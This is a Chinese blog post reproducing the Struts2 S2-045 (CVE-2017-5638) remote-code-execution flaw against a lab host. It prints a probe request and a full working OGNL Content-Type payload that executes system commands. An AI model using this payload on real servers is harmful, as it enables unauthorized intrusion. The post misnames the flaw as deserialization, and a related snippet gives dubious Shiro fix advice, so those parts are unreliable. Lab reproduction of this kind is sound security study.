struts2_2.3.5反序列化漏洞复现

漏洞利用(CVE-2017-5638) 漏洞利用 **实验准备:**一台Kali主机(攻击机),一台ubuntu主机(靶机),Ubuntu中包含docker,并包含vulhub/struts2:2.3镜像 1、开启Ubuntu,将容器8080映射8888端口 docker run -it -d -p 8888:8080 vulhub/struts2:2.3.30 2、扫描主机,查看是否存在漏洞 在docker中开启Nessus, ... 阅读详情

struts_2.3.5_unserialize_CVE-2017-5638

说明内容
漏洞编号S2-045
CVE-2017-5638
漏洞名称struts_2.3.5_unserialize
漏洞评级高危
影响范围Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞描述在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
修复方案升级
打补丁
上设备

漏洞描述

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。

漏洞等级

高危

影响版本

  • Struts 2.3.5 - Struts 2.3.31
  • Struts 2.5 - Struts 2.5.10

漏洞复现

基础环境

组件版本
OSkali-linux
Web Serverchrome
Struts2.3.5

漏洞扫描

使用nacs进行扫描

sudo ./nacs -h 192.168.117.163 -pa 8090

在这里插入图片描述

漏洞验证

  1. 构造request数据包

    POST / HTTP/1.1
    
    Host: 192.168.117.163:8090
    
    Upgrade-Insecure-Requests: 1
    
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    
    Accept-Encoding: gzip, deflate
    
    Accept-Language: en-US,en;q=0.9
    
    Cookie: zbx_sessionid=49238ed3d29ae14f3a4d158dfa8c26cf; ADMINCONSOLESESSION=0SvVk3LQ3j5nxTC5CnGJnMLGrzhmhLLW2Lnj1SqsWp2fllTs7QMD!890617266
    
    Connection: close
    
    Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
    
    Content-Length: 0
    

    在这里插入图片描述

深度利用

命令执行

  1. 构造POC

    Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    
  2. 命令执行成功

    在这里插入图片描述

    因为有回显,后续就可以进行get shell

漏洞挖掘

网络测绘

struts2

修复建议

无

Apache Shrio反序列化漏洞 为了防止反序列化漏洞的发生,可以禁用默认的序列化器,并使用安全的反序列化库,例如Apache Commons Collections库中的SafeSerializable类。3.使用安全的反序列化库:安全的反序列化库可以提供更好的安全性,以防止反序列化漏洞的发生。总之,Apache Shiro反序列化漏洞的修复方案包括升级到受影响的版本、禁用默认的序列化器、使用安全的反序列化库、输入验证和过滤以及采取安全编码实践等措施。要复现该漏洞,需要构造一个恶意的序列化数据,并将其传递给Shiro的序列化函数。 阅读详情

相关推荐

S2-052漏洞复现:从反序列化原理到RCE实战

序列化与反序列化是数据持久化和网络传输的核心机制,它将对象转换为字节流或XML等格式,反之亦然。其原理在于通过特定规则实现对象状态的保存与重建。这项技术的价值在于简化了分布式系统间的数据交换,但同时也引入了安全风险,当程序反序列化不可信数据时,可能触发恶意代码执行。在Web安全领域,不安全的反序列化是导致远程代码执行的高危漏洞类型,常见于Java、Python等语言的广泛应用框架中。Apache Struts2作为一个广泛使用的Java MVC框架,其S2-052漏洞正是这一风险的典型体现。该漏洞源于Str

chupu2979的博客 312

S2-045 远程代码执行漏洞(CVE-2017-5638)

一、S2-045 远程代码执行漏洞(CVE-2017-5638) 简述: Apache官方发布Struts 2 紧急漏洞公告(S2-045),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大...

Stephen Wolf 9807

struts2漏洞实战-BUUCTF平台漏洞复现与分析

本文详细解析了Struts2框架中的经典漏洞(如s2-001、s2-045)在BUUCTF平台上的复现过程,包括环境搭建、工具使用和Payload构造技巧。通过实战演示OGNL表达式注入原理,帮助安全研究人员深入理解Web安全漏洞的利用与防御策略,提升漏洞挖掘能力。

weixin_28715953的博客 265

Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。

qq_40640917的博客 3185

Struts2高危漏洞S2-046与S2-052:从OGNL注入到反序列化的RCE实战剖析

远程代码执行(RCE)是Web安全领域危害性极高的漏洞类型,其核心原理在于攻击者通过构造恶意输入,诱使服务器将数据错误地解析为可执行代码。在Java Web开发中,OGNL表达式注入和反序列化漏洞是两类典型的RCE成因。OGNL作为Struts2框架强大的表达式语言,若对用户输入过滤不当,可导致任意代码执行;而反序列化漏洞则源于将不受信的序列化数据还原为对象时,触发了危险的利用链。这两种技术常被用于攻击框架层面的缺陷,对应用安全构成严重威胁。本文聚焦于Struts2框架中两个经典的RCE漏洞——S2-046

weixin_33857679的博客 326

框架/组件漏洞系列1:struts2漏洞汇总

前言: 本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet](https://baike.baidu.com/item/Java Servlet)/JSP技术,实现了基于[Java EE](https://.

W0ngk,一个安全菜鸡,一直在模仿,尚未有超越。 1万+

春秋云镜 CVE-2017-5638

春秋云镜 CVE-2017-5638

qq_22002773的博客 809

Struts2 XXE漏洞复现与防御:从CVE-2025-68493看XML外部实体注入实战

XML外部实体注入(XXE)是一种基于XML解析机制的安全漏洞,其原理在于应用程序在解析用户可控的XML数据时,未禁用外部实体引用,导致攻击者可构造恶意实体读取服务器文件、发起SSRF攻击甚至实现远程代码执行。该漏洞在Java Web开发中尤为常见,尤其在Struts2等历史框架的特定版本中,因默认配置或第三方库问题而频繁出现。从工程实践角度看,理解XXE的触发条件与利用方式,对于渗透测试、漏洞评估与安全编码至关重要。本文以近期披露的Struts2高危漏洞CVE-2025-68493为切入点,结合Vulhu

weixin_34189116的博客 392

Linux OPP框架深度解析:从频率电压绑定到DVFS实战踩坑

DVFS动态电压频率调节是嵌入式Linux功耗优化的核心技术,其基本原理是在不同负载下匹配最优的频率与电压组合,以平衡性能与功耗。OPP(Operating Performance Points)框架作为内核功耗子系统的枢纽,通过统一的数据结构描述合法的频率电压对,向上支撑cpufreq、devfreq等调频框架,向下对接regulator电压调节器,解决了多电源域、共享OPP表、电压容差等复杂场景下的管理难题。在ARM SoC、移动终端及嵌入式设备中,OPP框架广泛应用于CPU调频、温控降频和动态功耗管理

weixin_33834628的博客 428

Struts2-048漏洞复现:OGNL表达式注入与远程代码执行实战

OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,广泛应用于Java Web框架如Struts2中,用于动态访问和操作对象属性。其核心原理在于将表达式字符串解析并映射到运行时对象模型上,实现视图与数据的灵活绑定。然而,当框架对用户输入的处理存在缺陷时,OGNL的强大功能便可能成为安全漏洞的源头,导致OGNL表达式注入攻击。这种攻击的技术价值在于,它允许攻击者在服务器端上下文执行任意Java代码,从而实现远程代码执行(RCE),对应用安全构成严重威胁。其典

weixin_29324877的博客 254

Java反序列化漏洞实战:Jboss高危漏洞复现与安全加固指南

Java反序列化漏洞是Web安全领域的经典议题,其原理在于Java程序在反序列化不可信数据时,可能触发恶意构造的利用链(Gadget Chain),导致任意代码执行。这项技术因其危害性高、利用链成熟,成为渗透测试与红队评估中检验系统安全性的关键环节。在工程实践中,针对广泛使用的Java应用服务器(如Jboss/WildFly)进行漏洞复现,不仅能深入理解反序列化机制的缺陷,还能掌握在真实环境中快速识别、利用及防御此类漏洞的实战能力。本文聚焦Jboss反序列化漏洞,通过Vulhub靶场环境搭建与ysoseri

germmy-神一样的开发 406

Struts2漏洞复现

将Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml。(1) cd vulhub/struts2/s2-045 切换目录,修改映射端口号为8084。(2) docker-compose up -d 启动。(2) docker-compose up -d 启动。

Huan2352的博客 836

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805)

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805) Apache Struts2的REST插件存在远程代码执行的高危漏洞,其编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

qq_51577576的博客 2115

漏洞复现|Struts2系列漏洞复现总结

作者: r0n1n 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。 Struts2-045(CVE-2017-5683) 0x01 漏洞描述 Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。 Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartR.

weixin_42282189的博客 2595

LT9611EX芯片实战:如何用双端口MIPI转HDMI1.4打造高清播放器(附配置代码)

本文详细介绍了如何使用龙迅半导体的LT9611EX芯片实现双端口MIPI转HDMI1.4的高清播放器开发。内容涵盖芯片特性、硬件设计要点、寄存器配置技巧及完整代码实现,特别适合嵌入式视频处理应用,如机顶盒和便携式媒体播放器。

weixin_29256771的博客 322

SAP固定资产原值与净值取值逻辑全解析:从数据表到ABAP实战

在企业资源计划(ERP)系统中,固定资产的价值管理是财务会计的核心模块,其关键在于准确核算资产原值与净值。从技术原理上看,这涉及对资产全生命周期业务(如购置、折旧、转移、报废)的财务建模,以及底层数据表(如ANLC、ANEP)的精准关联与计算。掌握这一逻辑的技术价值在于,能够确保财务报表数据的准确性,满足合规性要求,并为管理决策提供可靠依据。在SAP ECC或S/4HANA系统的应用场景中,ABAP开发者与财务顾问常需通过编写报表程序,从复杂的数据结构中提取资产价值信息。本文聚焦于SAP资产会计模块,深入剖

weixin_30984001的博客 395

框架安全深度解析:ThinkPHP/Laravel/Struts2/SpringBoot漏洞剖析与CVE复现指南

ThinkPHP 5在处理控制器名时,未对用户输入进行严格过滤,攻击者可以通过URL传入特殊字符(如反斜杠\)穿越命名空间,最终调用任意公共方法,执行任意代码。

油墨香^-^的博客 450

AI应用安全 - Prompt注入攻击

随着大模型的爆火,各行各业都在使用大模型进行智能化改造。但是如何做一个可靠的大模型应用,就需要考虑各种安全问题。本文主要介绍一种常见的安全问题,即prompt注入攻击,并介绍一些防范手段。Prompt Injection Attack(提示注入攻击)是针对大型语言模型(LLM)的一种新兴安全威胁,攻击者通过精心构造的输入提示(prompt)来操纵模型行为,使其产生非预期输出或执行恶意操作。它主要包括两种注入方式,一是直接注入,而是间接注入。

sinat_28694519的博客 1932

struts2 请求参数大小写_Struts2漏洞系列之「S2-052」REST插件远程执行命令漏洞

Smi1e@Pentes7eam漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-052当Struts2使用了 Struts2-Rest-Plugin插件时,如果http请求的Content-type为application/xml,则会使用XStreamHandler解析器实例化XStream对象来反序列化处理我们传入的XML数据,且在...

weixin_39530647的博客 317

Apollo&Carla联合仿真基本操作

基于UE4开发的开源无人驾驶仿真器PythonAPI自动驾驶传感器(还有理想化的collision detection传感器)用于规划和控制的快速仿真地图生成交通场景(open scenario)仿真ROS集成自动驾驶baseline0.9.15新特性新的车型以及地图基于Omniverse的素材导入基于OSM的三维场景生成。

SLAM小土堆 3801

基于FPGA的数字信号处理(17)--定点运算的实现实例(饱和Saturate与四舍五入Round)

基于FPGA的数字信号处理(17)--定点运算的实现实例(饱和Saturate与四舍五入Round)

孤独的单刀 2960

不止于复现:如何将Struts2、Spring、Shiro漏洞变成你的内网渗透跳板

本文深入探讨如何将Struts2、Spring、Shiro等主流框架的漏洞从简单复现升级为内网渗透跳板,提供持久化访问、权限提升和环境适应等实战技巧。通过具体案例和代码示例,展示如何构建完整的攻击链,实现从外网突破到内网漫游的全过程,助力安全人员提升渗透测试能力。

weixin_33725722的博客 401

struts2-052漏洞学习

struts2-052漏洞学习文档 一、了解漏洞 1.struts2是什么? Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其...

qq_44312507的博客 900

redhawk如何看高toggle rate instance

1.图形界面View-Power Map - Toggle Map of Instances。redhawk通过报告和图形界面两种方式查看高toggle rate的instance。2.看warning log,在adsRpt/Warn里,搜toggle rate。我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧?

m0_61544122的博客 622

从一个 ASIN 看透亚马逊:商品模型背后的增长飞轮

在亚马逊电商体系中,每件商品背后都有一套严密的商品建模逻辑。本篇文章以“ASIN 的一生”为线索,系统拆解了亚马逊的商品模型:从飞轮战略出发,剖析 SDP(Single Detail Page)机制如何实现标准化展示;再到 ASIN 编码、父子变体结构与 Offer 分离模型,逐层解析商品信息如何被建构、聚合与呈现。通过图解与案例,文章帮助读者理解商品建品流程、同款聚合原则、价格控制机制等核心逻辑,避免常见运营误区,是一份面向运营、产品、技术人员的实用参考指南。

曾经“等你生日那天”都遥远得像未来,如今却可欢愉的挥手说“下个十年见” 13万+
上一篇: weblogic_10.3.6反序列化漏洞复现
下一篇: fastjson_1.2.24反序列化漏洞复现
cwangc000
博客等级 码龄5年 5粉丝 28原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cwangc000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值